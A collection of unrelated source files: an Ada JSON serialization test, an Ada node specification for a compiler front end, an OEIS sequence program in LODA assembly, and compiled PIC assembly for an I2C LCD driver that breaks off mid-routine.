Caller.Add_Test (Suite, "Test Util.Serialize.Tools.To_JSON/From_JSON",
Test_To_From_JSON'Access);
end Add_Tests;
-- -----------------------
-- Test the To_JSON operation.
-- -----------------------
procedure Test_To_JSON (T : in out Test) is
Map : Util.Beans.Objects.Maps.Map;
begin
Util.Tests.Assert_Equals (T, "", To_JSON (Map),
"Invalid empty map serialization");
Map.Include ("testing", Util.Beans.Objects.To_Object (Integer (23)));
Util.Tests.Assert_Equals (T, "{""params"":[{""name"":""testing"",""value"":23}]}",
To_JSON (Map),
"Invalid empty map serialization");
Map.Include ("string", Util.Beans.Objects.To_Object (ASCII.LF & ASCII.CR & " special'"""));
Log.Info ("JSON: {0}", To_JSON (Map));
Util.Tests.Assert_Matches (T, ".*testing.*",
To_JSON (Map),
"Missing testing");
Util.Tests.Assert_Matches (T, ".*\\n\\r special'.*",
To_JSON (Map),
"Missing special value");
end Test_To_JSON;
-- -----------------------
-- Test the From_JSON operation.
-- -----------------------
procedure Test_From_JSON (T : in out Test) is
begin
declare
Map : constant Util.Beans.Objects.Maps.Map := From_JSON ("");
begin
Util.Tests.Assert_Equals (T, 0, Integer (Map.Length), "Invalid map");
end;
declare
Map : constant Util.Beans.Objects.Maps.Map
:= From_JSON ("{""params"":[{""name"":""testing"",""value"":23}]}");
begin
Util.Tests.Assert_Equals (T, 1, Integer (Map.Length), "Invalid map");
T.Assert (Map.Contains ("testing"), "The 'name' object is not present");
Util.Tests.Assert_Equals (T, "23",
Util.Beans.Objects.To_String (Map.Element ("testing")),
"The 'name' object is invalid");
end;
end Test_From_JSON;
-- -----------------------
-- Test the To_JSON and From_JSON
-- -----------------------
procedure Test_To_From_JSON (T : in out Test) is
begin
for I in 1 .. 20 loop
declare
Map : Util.Beans.Objects.Maps.Map;
Name : String (1 .. I) := (others => ' ');
begin
for J in 1 .. I loop
for K in 1 .. I loop
Name (K) := Character'Val (J mod 255);
end loop;
Map.Include (Name, Util.Beans.Objects.To_Object (Name));
end loop;
Util.Tests.Assert_Equals (T, I, Integer (Map.Length), "Invalid map length");
declare
JSON : constant String := To_JSON (Map);
begin
T.Assert (JSON'Length > 0, "JSON is too small");
declare
Result : constant Util.Beans.Objects.Maps.Map := From_JSON (JSON);
begin
Util.Tests.Assert_Equals (T, I, Integer (Result.Length),
"Invalid result length");
for J in 1 .. I loop
for K in 1 .. I loop
Name (K) := Character'Val (J mod 255);
end loop;
T.Assert (Result.Contains (Name), "The value '" & Name & "' not found");
Util.Tests.Assert_Equals (T, Name,
Beans.Objects.To_String (Result.Element (Name)),
"Invalid value");
end loop;
end;
end;
end;
end loop;
end Test_To_From_JSON;
end Util.Serialize.Tools.Tests;
|
source/nodes/program-nodes-short_circuit_operations.ads | reznikmm/gela | 0 | 25148 | <filename>source/nodes/program-nodes-short_circuit_operations.ads
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Elements.Expressions;
with Program.Lexical_Elements;
with Program.Elements.Short_Circuit_Operations;
with Program.Element_Visitors;
package Program.Nodes.Short_Circuit_Operations is
pragma Preelaborate;
type Short_Circuit_Operation is
new Program.Nodes.Node
and Program.Elements.Short_Circuit_Operations.Short_Circuit_Operation
and Program.Elements.Short_Circuit_Operations
.Short_Circuit_Operation_Text
with private;
function Create
(Left : not null Program.Elements.Expressions.Expression_Access;
And_Token : Program.Lexical_Elements.Lexical_Element_Access;
Then_Token : Program.Lexical_Elements.Lexical_Element_Access;
Or_Token : Program.Lexical_Elements.Lexical_Element_Access;
Else_Token : Program.Lexical_Elements.Lexical_Element_Access;
Right : not null Program.Elements.Expressions.Expression_Access)
return Short_Circuit_Operation;
type Implicit_Short_Circuit_Operation is
new Program.Nodes.Node
and Program.Elements.Short_Circuit_Operations.Short_Circuit_Operation
with private;
function Create
(Left : not null Program.Elements.Expressions
.Expression_Access;
Right : not null Program.Elements.Expressions
.Expression_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False;
Has_And_Then : Boolean := False;
Has_Or_Else : Boolean := False)
return Implicit_Short_Circuit_Operation
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Short_Circuit_Operation is
abstract new Program.Nodes.Node
and Program.Elements.Short_Circuit_Operations.Short_Circuit_Operation
with record
Left : not null Program.Elements.Expressions.Expression_Access;
Right : not null Program.Elements.Expressions.Expression_Access;
end record;
procedure Initialize (Self : in out Base_Short_Circuit_Operation'Class);
overriding procedure Visit
(Self : not null access Base_Short_Circuit_Operation;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Left
(Self : Base_Short_Circuit_Operation)
return not null Program.Elements.Expressions.Expression_Access;
overriding function Right
(Self : Base_Short_Circuit_Operation)
return not null Program.Elements.Expressions.Expression_Access;
overriding function Is_Short_Circuit_Operation
(Self : Base_Short_Circuit_Operation)
return Boolean;
overriding function Is_Expression
(Self : Base_Short_Circuit_Operation)
return Boolean;
type Short_Circuit_Operation is
new Base_Short_Circuit_Operation
and Program.Elements.Short_Circuit_Operations
.Short_Circuit_Operation_Text
with record
And_Token : Program.Lexical_Elements.Lexical_Element_Access;
Then_Token : Program.Lexical_Elements.Lexical_Element_Access;
Or_Token : Program.Lexical_Elements.Lexical_Element_Access;
Else_Token : Program.Lexical_Elements.Lexical_Element_Access;
end record;
overriding function To_Short_Circuit_Operation_Text
(Self : in out Short_Circuit_Operation)
return Program.Elements.Short_Circuit_Operations
.Short_Circuit_Operation_Text_Access;
overriding function And_Token
(Self : Short_Circuit_Operation)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Then_Token
(Self : Short_Circuit_Operation)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Or_Token
(Self : Short_Circuit_Operation)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Else_Token
(Self : Short_Circuit_Operation)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Has_And_Then
(Self : Short_Circuit_Operation)
return Boolean;
overriding function Has_Or_Else
(Self : Short_Circuit_Operation)
return Boolean;
type Implicit_Short_Circuit_Operation is
new Base_Short_Circuit_Operation
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
Has_And_Then : Boolean;
Has_Or_Else : Boolean;
end record;
overriding function To_Short_Circuit_Operation_Text
(Self : in out Implicit_Short_Circuit_Operation)
return Program.Elements.Short_Circuit_Operations
.Short_Circuit_Operation_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Short_Circuit_Operation)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Short_Circuit_Operation)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Short_Circuit_Operation)
return Boolean;
overriding function Has_And_Then
(Self : Implicit_Short_Circuit_Operation)
return Boolean;
overriding function Has_Or_Else
(Self : Implicit_Short_Circuit_Operation)
return Boolean;
end Program.Nodes.Short_Circuit_Operations;
|
programs/oeis/089/A089207.asm | neoneye/loda | 22 | 243615 | ; A089207: a(n) = 4n^3 + 2n^2.
; 6,40,126,288,550,936,1470,2176,3078,4200,5566,7200,9126,11368,13950,16896,20230,23976,28158,32800,37926,43560,49726,56448,63750,71656,80190,89376,99238,109800,121086,133120,145926,159528,173950,189216
add $0,1
mul $0,2
mov $1,$0
pow $0,3
pow $1,2
add $0,$1
div $0,4
mul $0,2
|
Ejemplos/mikroBasic/LCD I2C/LCD_i2c.asm | DAFRELECTRONICS/ThunderBolt-Nova | 0 | 6284 |
_I2C_LCD_Cmd:
;LCD_i2c.mbas,32 :: Dim rs as byte
;LCD_i2c.mbas,34 :: rs = 0
CLRF I2C_LCD_Cmd_rs+0
;LCD_i2c.mbas,36 :: hi_n = out_char and $F0
MOVLW 240
ANDWF FARG_I2C_LCD_Cmd_out_char+0, 0
MOVWF I2C_LCD_Cmd_hi_n+0
;LCD_i2c.mbas,37 :: lo_n = (out_char << 4) and $F0
MOVF FARG_I2C_LCD_Cmd_out_char+0, 0
MOVWF I2C_LCD_Cmd_lo_n+0
RLCF I2C_LCD_Cmd_lo_n+0, 1
BCF I2C_LCD_Cmd_lo_n+0, 0
RLCF I2C_LCD_Cmd_lo_n+0, 1
BCF I2C_LCD_Cmd_lo_n+0, 0
RLCF I2C_LCD_Cmd_lo_n+0, 1
BCF I2C_LCD_Cmd_lo_n+0, 0
RLCF I2C_LCD_Cmd_lo_n+0, 1
BCF I2C_LCD_Cmd_lo_n+0, 0
MOVLW 240
ANDWF I2C_LCD_Cmd_lo_n+0, 1
;LCD_i2c.mbas,39 :: I2C1_Start()
CALL _I2C1_Start+0, 0
;LCD_i2c.mbas,40 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,41 :: I2C1_Wr(LCD_ADDR)
MOVLW 78
MOVWF FARG_I2C1_Wr_data_+0
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,42 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,43 :: I2C1_Wr(hi_n or rs or $04 or $08)
MOVF I2C_LCD_Cmd_rs+0, 0
IORWF I2C_LCD_Cmd_hi_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,44 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,45 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Cmd1:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Cmd1
NOP
NOP
;LCD_i2c.mbas,46 :: I2C1_Wr(hi_n or rs or $00 or $08)
MOVF I2C_LCD_Cmd_rs+0, 0
IORWF I2C_LCD_Cmd_hi_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,47 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,48 :: Delay_us(100)
MOVLW 2
MOVWF R12, 0
MOVLW 141
MOVWF R13, 0
L__I2C_LCD_Cmd2:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Cmd2
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Cmd2
NOP
NOP
;LCD_i2c.mbas,49 :: I2C1_Wr(lo_n or rs or $04 or $08)
MOVF I2C_LCD_Cmd_rs+0, 0
IORWF I2C_LCD_Cmd_lo_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,50 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,51 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Cmd3:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Cmd3
NOP
NOP
;LCD_i2c.mbas,52 :: I2C1_Wr(lo_n or rs or $00 or $08)
MOVF I2C_LCD_Cmd_rs+0, 0
IORWF I2C_LCD_Cmd_lo_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,53 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,54 :: I2C1_stop()
CALL _I2C1_Stop+0, 0
;LCD_i2c.mbas,56 :: if(out_char = $01) then
MOVF FARG_I2C_LCD_Cmd_out_char+0, 0
XORLW 1
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Cmd5
;LCD_i2c.mbas,57 :: Delay_ms(2)
MOVLW 32
MOVWF R12, 0
MOVLW 41
MOVWF R13, 0
L__I2C_LCD_Cmd7:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Cmd7
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Cmd7
NOP
NOP
L__I2C_LCD_Cmd5:
;LCD_i2c.mbas,59 :: end sub
L_end_I2C_LCD_Cmd:
RETURN 0
; end of _I2C_LCD_Cmd
_I2C_LCD_Chr:
;LCD_i2c.mbas,64 :: Dim rs as byte
;LCD_i2c.mbas,66 :: rs = 1
MOVLW 1
MOVWF I2C_LCD_Chr_rs+0
;LCD_i2c.mbas,70 :: case 1
MOVF FARG_I2C_LCD_Chr_row+0, 0
XORLW 1
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Chr12
;LCD_i2c.mbas,71 :: I2C_LCD_Cmd($80 + (column - 1))
DECF FARG_I2C_LCD_Chr_column+0, 0
MOVWF R0
MOVF R0, 0
ADDLW 128
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
GOTO L__I2C_LCD_Chr9
L__I2C_LCD_Chr12:
;LCD_i2c.mbas,72 :: case 2
MOVF FARG_I2C_LCD_Chr_row+0, 0
XORLW 2
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Chr15
;LCD_i2c.mbas,73 :: I2C_LCD_Cmd($C0 + (column - 1))
DECF FARG_I2C_LCD_Chr_column+0, 0
MOVWF R0
MOVF R0, 0
ADDLW 192
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
GOTO L__I2C_LCD_Chr9
L__I2C_LCD_Chr15:
;LCD_i2c.mbas,74 :: case 3
MOVF FARG_I2C_LCD_Chr_row+0, 0
XORLW 3
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Chr18
;LCD_i2c.mbas,75 :: I2C_LCD_Cmd($94 + (column - 1))
DECF FARG_I2C_LCD_Chr_column+0, 0
MOVWF R0
MOVF R0, 0
ADDLW 148
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
GOTO L__I2C_LCD_Chr9
L__I2C_LCD_Chr18:
;LCD_i2c.mbas,76 :: case 4
MOVF FARG_I2C_LCD_Chr_row+0, 0
XORLW 4
BTFSS STATUS+0, 2
GOTO L__I2C_LCD_Chr21
;LCD_i2c.mbas,77 :: I2C_LCD_Cmd($D4 + (column - 1))
DECF FARG_I2C_LCD_Chr_column+0, 0
MOVWF R0
MOVF R0, 0
ADDLW 212
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
GOTO L__I2C_LCD_Chr9
L__I2C_LCD_Chr21:
L__I2C_LCD_Chr9:
;LCD_i2c.mbas,80 :: hi_n = out_char and $F0
MOVLW 240
ANDWF FARG_I2C_LCD_Chr_out_char+0, 0
MOVWF I2C_LCD_Chr_hi_n+0
;LCD_i2c.mbas,81 :: lo_n = (out_char << 4) and $F0
MOVF FARG_I2C_LCD_Chr_out_char+0, 0
MOVWF I2C_LCD_Chr_lo_n+0
RLCF I2C_LCD_Chr_lo_n+0, 1
BCF I2C_LCD_Chr_lo_n+0, 0
RLCF I2C_LCD_Chr_lo_n+0, 1
BCF I2C_LCD_Chr_lo_n+0, 0
RLCF I2C_LCD_Chr_lo_n+0, 1
BCF I2C_LCD_Chr_lo_n+0, 0
RLCF I2C_LCD_Chr_lo_n+0, 1
BCF I2C_LCD_Chr_lo_n+0, 0
MOVLW 240
ANDWF I2C_LCD_Chr_lo_n+0, 1
;LCD_i2c.mbas,83 :: I2C1_Start()
CALL _I2C1_Start+0, 0
;LCD_i2c.mbas,84 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,85 :: I2C1_Wr(LCD_ADDR)
MOVLW 78
MOVWF FARG_I2C1_Wr_data_+0
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,86 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,87 :: I2C1_Wr(hi_n or rs or $04 or $08)
MOVF I2C_LCD_Chr_rs+0, 0
IORWF I2C_LCD_Chr_hi_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,88 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,89 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Chr22:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Chr22
NOP
NOP
;LCD_i2c.mbas,90 :: I2C1_Wr(hi_n or rs or $00 or $08)
MOVF I2C_LCD_Chr_rs+0, 0
IORWF I2C_LCD_Chr_hi_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,91 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,92 :: Delay_us(100)
MOVLW 2
MOVWF R12, 0
MOVLW 141
MOVWF R13, 0
L__I2C_LCD_Chr23:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Chr23
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Chr23
NOP
NOP
;LCD_i2c.mbas,93 :: I2C1_Wr(lo_n or rs or $04 or $08)
MOVF I2C_LCD_Chr_rs+0, 0
IORWF I2C_LCD_Chr_lo_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,94 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,95 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Chr24:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Chr24
NOP
NOP
;LCD_i2c.mbas,96 :: I2C1_Wr(lo_n or rs or $00 or $08)
MOVF I2C_LCD_Chr_rs+0, 0
IORWF I2C_LCD_Chr_lo_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,97 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,98 :: I2C1_stop()
CALL _I2C1_Stop+0, 0
;LCD_i2c.mbas,99 :: end sub
L_end_I2C_LCD_Chr:
RETURN 0
; end of _I2C_LCD_Chr
_I2C_LCD_Chr_Cp:
;LCD_i2c.mbas,104 :: Dim rs as byte
;LCD_i2c.mbas,106 :: rs = $01
MOVLW 1
MOVWF I2C_LCD_Chr_Cp_rs+0
;LCD_i2c.mbas,108 :: hi_n = out_char and $F0
MOVLW 240
ANDWF FARG_I2C_LCD_Chr_Cp_out_char+0, 0
MOVWF I2C_LCD_Chr_Cp_hi_n+0
;LCD_i2c.mbas,109 :: lo_n = (out_char << 4) and $F0
MOVF FARG_I2C_LCD_Chr_Cp_out_char+0, 0
MOVWF I2C_LCD_Chr_Cp_lo_n+0
RLCF I2C_LCD_Chr_Cp_lo_n+0, 1
BCF I2C_LCD_Chr_Cp_lo_n+0, 0
RLCF I2C_LCD_Chr_Cp_lo_n+0, 1
BCF I2C_LCD_Chr_Cp_lo_n+0, 0
RLCF I2C_LCD_Chr_Cp_lo_n+0, 1
BCF I2C_LCD_Chr_Cp_lo_n+0, 0
RLCF I2C_LCD_Chr_Cp_lo_n+0, 1
BCF I2C_LCD_Chr_Cp_lo_n+0, 0
MOVLW 240
ANDWF I2C_LCD_Chr_Cp_lo_n+0, 1
;LCD_i2c.mbas,111 :: I2C1_Start()
CALL _I2C1_Start+0, 0
;LCD_i2c.mbas,112 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,113 :: I2C1_Wr(LCD_ADDR)
MOVLW 78
MOVWF FARG_I2C1_Wr_data_+0
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,114 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,115 :: I2C1_Wr(hi_n or rs or $04 or $08)
MOVF I2C_LCD_Chr_Cp_rs+0, 0
IORWF I2C_LCD_Chr_Cp_hi_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,116 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,117 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Chr_Cp26:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Chr_Cp26
NOP
NOP
;LCD_i2c.mbas,118 :: I2C1_Wr(hi_n or rs or $00 or $08)
MOVF I2C_LCD_Chr_Cp_rs+0, 0
IORWF I2C_LCD_Chr_Cp_hi_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,119 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,120 :: Delay_us(100)
MOVLW 2
MOVWF R12, 0
MOVLW 141
MOVWF R13, 0
L__I2C_LCD_Chr_Cp27:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Chr_Cp27
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Chr_Cp27
NOP
NOP
;LCD_i2c.mbas,121 :: I2C1_Wr(lo_n or rs or $04 or $08)
MOVF I2C_LCD_Chr_Cp_rs+0, 0
IORWF I2C_LCD_Chr_Cp_lo_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,122 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,123 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Chr_Cp28:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Chr_Cp28
NOP
NOP
;LCD_i2c.mbas,124 :: I2C1_Wr(lo_n or rs or $00 or $08)
MOVF I2C_LCD_Chr_Cp_rs+0, 0
IORWF I2C_LCD_Chr_Cp_lo_n+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,125 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,126 :: I2C1_stop()
CALL _I2C1_Stop+0, 0
;LCD_i2c.mbas,127 :: end sub
L_end_I2C_LCD_Chr_Cp:
RETURN 0
; end of _I2C_LCD_Chr_Cp
_I2C_LCD_Init:
;LCD_i2c.mbas,132 :: Dim rs as byte
;LCD_i2c.mbas,134 :: I2C1_Start()
CALL _I2C1_Start+0, 0
;LCD_i2c.mbas,135 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,136 :: I2C1_Wr(LCD_ADDR)
MOVLW 78
MOVWF FARG_I2C1_Wr_data_+0
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,137 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,139 :: Delay_ms(30)
MOVLW 2
MOVWF R11, 0
MOVLW 212
MOVWF R12, 0
MOVLW 133
MOVWF R13, 0
L__I2C_LCD_Init30:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init30
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Init30
DECFSZ R11, 1, 1
BRA L__I2C_LCD_Init30
;LCD_i2c.mbas,141 :: I2C1_Wr($30 or rs or $04 or $08)
MOVLW 48
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,142 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,143 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Init31:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init31
NOP
NOP
;LCD_i2c.mbas,144 :: I2C1_Wr($30 or rs or $00 or $08)
MOVLW 48
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,145 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,147 :: Delay_ms(10)
MOVLW 156
MOVWF R12, 0
MOVLW 215
MOVWF R13, 0
L__I2C_LCD_Init32:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init32
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Init32
;LCD_i2c.mbas,149 :: I2C1_Wr($30 or rs or $04 or $08)
MOVLW 48
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,150 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,151 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Init33:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init33
NOP
NOP
;LCD_i2c.mbas,152 :: I2C1_Wr($30 or rs or $00 or $08)
MOVLW 48
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,153 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,155 :: Delay_ms(10)
MOVLW 156
MOVWF R12, 0
MOVLW 215
MOVWF R13, 0
L__I2C_LCD_Init34:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init34
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Init34
;LCD_i2c.mbas,157 :: I2C1_Wr($30 or rs or $04 or $08)
MOVLW 48
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,158 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,159 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Init35:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init35
NOP
NOP
;LCD_i2c.mbas,160 :: I2C1_Wr($30 or rs or $00 or $08)
MOVLW 48
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,161 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,163 :: Delay_ms(10)
MOVLW 156
MOVWF R12, 0
MOVLW 215
MOVWF R13, 0
L__I2C_LCD_Init36:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init36
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Init36
;LCD_i2c.mbas,165 :: I2C1_Wr($20 or rs or $04 or $08)
MOVLW 32
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 2
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,166 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,167 :: Delay_us(50)
MOVLW 199
MOVWF R13, 0
L__I2C_LCD_Init37:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init37
NOP
NOP
;LCD_i2c.mbas,168 :: I2C1_Wr($20 or rs or $00 or $08)
MOVLW 32
IORWF I2C_LCD_Init_rs+0, 0
MOVWF FARG_I2C1_Wr_data_+0
BSF FARG_I2C1_Wr_data_+0, 3
CALL _I2C1_Wr+0, 0
;LCD_i2c.mbas,169 :: I2C1_Is_Idle()
CALL _I2C1_Is_Idle+0, 0
;LCD_i2c.mbas,170 :: I2C1_Stop()
CALL _I2C1_Stop+0, 0
;LCD_i2c.mbas,172 :: Delay_ms(10)
MOVLW 156
MOVWF R12, 0
MOVLW 215
MOVWF R13, 0
L__I2C_LCD_Init38:
DECFSZ R13, 1, 1
BRA L__I2C_LCD_Init38
DECFSZ R12, 1, 1
BRA L__I2C_LCD_Init38
;LCD_i2c.mbas,174 :: I2C_LCD_Cmd($28)
MOVLW 40
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
;LCD_i2c.mbas,175 :: I2C_LCD_Cmd($06)
MOVLW 6
MOVWF FARG_I2C_LCD_Cmd_out_char+0
CALL _I2C_LCD_Cmd+0, 0
;LCD_i2c.mbas,176 :: end sub
L_end_I2C_LCD_Init:
RETURN 0
; end of _I2C_LCD_Init
_I2C_LCD_Out:
;LCD_i2c.mbas,179 :: Dim i as byte
